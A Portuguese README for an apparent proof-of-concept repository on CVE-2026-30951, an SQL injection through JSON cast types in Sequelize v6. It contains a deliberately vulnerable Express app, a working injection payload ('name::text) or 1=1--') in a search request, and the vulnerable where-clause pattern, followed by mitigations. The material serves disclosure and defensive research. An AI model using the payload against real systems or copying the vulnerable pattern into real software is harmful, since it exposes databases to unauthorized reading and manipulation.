
Injeção SQL via Cast JSON no Sequelize
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 é uma vulnerabilidade de SQL Injection no Sequelize v6, um ORM Node.js amplamente utilizado.
A vulnerabilidade existe no processamento de cláusulas
wherede JSON/JSONB. Quando o Sequelize analisa uma chave de caminho JSON contendo::, o valor após::é tratado como um tipo de cast SQL e é inserido no SQL gerado sem a validação adequada.Se um atacante puder controlar chaves de objetos JSON passadas para uma cláusula
wheredo Sequelize, ele poderá manipular a consulta SQL gerada.
| Categoria | Versão |
|---|
| Vulnerável | Sequelize v6.x <= 6.37.7 |
| Corrigida | Sequelize 6.37.8 |
| Não afetada | Sequelize v7 / @sequelize/core |
Este repositório contém uma aplicação de desafio mínima vulnerável em Node.js, Express, Sequelize e SQLite.
npm install
npm start
A aplicação inicia em:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
O contêiner Docker inicia em:
http://127.0.0.1:9100
Após iniciar o ambiente vulnerável, siga os passos abaixo para reproduzir a injeção.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Isso retorna apenas os usuários que correspondem à lógica normal de busca por nome.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Resultado esperado:
All user rows are returned.
A chave JSON elaborada faz com que o Sequelize gere uma expressão de cast semelhante a:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Como o tipo de cast é controlado pelo atacante, a condição OR 1=1 altera o comportamento pretendido da cláusula WHERE. O retorno de todas as linhas do mesmo endpoint de busca confirma que a SQL injection é possível.
A vulnerabilidade é causada por validação insuficiente de tipos de cast JSON no Sequelize v6.
Internamente, a lógica de travessia de JSON do Sequelize divide chaves de caminho JSON em :::
jsonKey::castType
O tipo de cast é então usado no SQL gerado como:
CAST(<json_extract_expression> AS <cast_type>)
Em versões vulneráveis, <cast_type> não é escapado com segurança nem restrito a uma allowlist conhecida como segura. Isso permite que uma chave JSON controlada pelo atacante escape da expressão de cast e injete SQL.
Qualquer padrão de aplicação semelhante ao seguinte pode ser vulnerável ao usar versões afetadas do Sequelize:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Isso é perigoso porque o atacante controla não apenas os valores JSON, mas também as chaves dos objetos JSON.
Esta vulnerabilidade é especialmente perigosa porque muitos desenvolvedores assumem que os construtores de consulta de ORM protegem automaticamente contra SQL injection. Neste caso, a injeção ocorre dentro do SQL gerado pelo ORM, depois que a aplicação já passou objetos JavaScript estruturados para o Sequelize.
Dependendo da lógica da aplicação, a exploração pode permitir:
Isso é fundamentalmente uma questão de CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where de JSON/JSONB do Sequelize::, a menos que explicitamente necessárioconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Este repositório destina-se apenas a pesquisa de segurança, validação defensiva e uso educacional em ambientes controlados.
Não use este PoC contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.
Publicamos análises de CVE e malware uma vez por mês. Se você tiver interesse, siga os links abaixo para conferir nossas publicações.